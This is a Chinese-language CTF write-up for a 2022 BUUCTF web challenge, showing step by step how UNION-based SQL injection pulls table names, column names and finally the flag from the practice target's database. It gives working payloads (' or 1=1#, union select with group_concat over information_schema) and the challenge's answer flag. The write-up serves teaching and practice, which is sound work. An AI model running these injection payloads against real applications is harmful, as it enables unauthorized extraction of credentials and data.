union联合注入实例
这是2022年的buuctf第一周web方向的赛题,我们要做的就是从靶机数据库中扒出flag,下面可以先用注入进行判断测试
1. 判断是否为union联合注入
1)按照提示输入关键字
如图,打开hackbar并在网页输入框中输入NewCTFer
2)直接上万能语句
可以构造语句' or 1=1#
,这里直接爆出一大串信息,其中便包含了flag。同时,这道题也可以用联合注入来解。
3)用union联合注入调试
现在还是摸索阶段,还不能确定可以联合注入,所以先用代码order by <表单数>
对其进行调试,发现只有2个表单,可以构造' union select 1,2#
可以看到回显,到了这里基本可以判定这是联合注入了,进行下一步
2.开始注入
1)扒取表名table_name
在post栏编辑,我打算从information_schema这个数据库中查看tables里面的所有表名,注入代码:union select 1,(select table_name from information_schema.tables)#
然后execute执行
但是运行结果没有输出有用信息,有可能是网站设置了输出行数的限制。这里我打算用group_concat()函数再战:
知识点:
group_concat() -- 把组中的字符串连接成为具有各种选项的单个字符串。
运行效果如下:
+---------------------------------------------------------------------+
| GROUP_CONCAT(DISTINCT v ORDER BY v ASC SEPARATOR ';') |
+---------------------------------------------------------------------+
| A;B;C |
+---------------------------------------------------------------------+
1 row in set
-- 注:上面语句类似于把SELECT v FROM t GROUP BY v;语句的结果串接起来。
2)将表名字符串拼接成一行输出
注入代码union select 1,(select group_concat(table_name) from information_schema.tables)#
但是系统返回这么多数据,在这茫茫数据中寻找一个flag,这……显然不是我想要的
这里就又涉及另一个知识点——where
知识点
select的后面表示筛选的内容,from的后面表示筛选内容来自的位置,where的后面表示筛选的条件。
3)设置条件筛选table_name
注入代码如下union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
where后面是从名称为database()的数据库中提取表名
可以看到这里有wfy_admin,wfy_comments,wfy_information
这几个表名
4)继续查列名column_name
注入代码:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database())#
扒到的列名如下:Id,username,password,cookie,id,text,user,name,display,title,header
5)查看目标文本
用代码union select 1,(select group_concat(列名) from 表名)#
查文
最终在表名wfy_comments,列名text里面找到了flag{Th1s_is_0_simp1e_S0L_test}